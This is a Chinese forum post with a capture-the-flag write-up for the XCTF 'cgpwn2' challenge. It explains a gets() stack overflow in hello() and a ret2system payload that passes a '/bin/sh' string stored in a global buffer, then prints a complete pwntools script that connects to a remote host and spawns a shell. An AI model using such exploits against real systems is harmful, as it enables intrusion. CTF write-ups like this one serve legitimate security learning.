首页
论坛
课程
招聘
[原创]XCTF攻防世界cgpwn2
2019-10-2 21:49 8478

[原创]XCTF攻防世界cgpwn2

2019-10-2 21:49
8478

cgpwn2题解

首先进行程序基本信息检查:

 

 

需要注意的是,在尝试运行程序的过程中,发现对输入进行了验证,这可能对解题产生影响,也可能不会,先留意一下。

 

IDA查看一下源码:

  • strings查看:

    有system函数,但是有一个"echo hehehe",这给我不好的感觉。。。

  • main函数:

    没什么问题,直接进hello函数

  • hello函数:

    在hello中我们看到了可以存在溢出的gets()函数。

存在栈溢出,又知道system的函数,理论上来讲直接调用system去执行"/bin/sh"就可以了。但是题目没有给出"/bin/sh"。怎么办呢?我们自己构造然后传入进去就可以了。

  • pwn函数:

    发现函数列表中还有一个pwn函数,看一下:

    没什么特殊的,只是告诉你,不能使用之前的直接调用"/bin/sh"了。

在hello函数中,name是一个全局变量,我们将"/bin/sh"传入到name中,那么"/bin/sh"的地址就是name的地址。然后调用system函数去调用就可以了。

 

首先看一下name的地址:

 

 

然后是hello的stack布局:

 

 

这里我们使用(0x26 + 4)个数据就可以到达返回地址了。

 

将返回地址覆盖为system函数的地址,然后再传入我们的name,此时name的地址其实就是"/bin/sh"的地址,相当于给system传入了"/bin/sh"作为参数。

 

payload的构成已经清晰了:

 

payload="A"*42+p32(system)+"A"*4+p32(name)

 

需要给system一个返回地址,随意即可,只要可以保证程序正常运行就行。

EXP:

from pwn import *

sh = remote('111.198.29.45',36990)
elf = ELF('./cgpwn2')
bss = 0x0804A080   //name的地址

sh.sendlineafter("name","/bin/sh\x00")

#sys_addr = 0x08048420 //直接在程序中找的
sys_addr = elf.symbols['system']//使用函数获取system地址,推荐这种
payload = "A"*42 + p32(sys_addr) + "A"*4 + p32(bss)

sh.sendlineafter("here",payload)
sh.interactive()

最后成功获取到flag:

 

总结

这道题其实相对来说挺简单的,就是锻炼一下思路,没有现成的能用的"/bin/sh",我们就可以想办法自己构造一个。


《0day安全 软件漏洞分析技术(第二版)》第三次再版印刷预售开始!

最后于 2019-10-3 10:22 被有毒编辑 ,原因:
收藏
点赞1
打赏
分享
最新回复 (3)
雪    币: 7062
活跃值: 活跃值 (618)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
ninebell 活跃值 2019-10-3 08:23
2
0
编的不错,支持。
雪    币:
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
mb_nfiegaux 活跃值 2020-2-28 21:26
3
0
你好,我想问一下那个system后为什么要填充4个A呢,
雪    币: 280
活跃值: 活跃值 (18)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
ErosJohn 活跃值 2020-3-4 10:06
4
0
mb_nfiegaux 你好,我想问一下那个system后为什么要填充4个A呢,
system的返回地址,随便填啥
游客
登录 | 注册 方可回帖
返回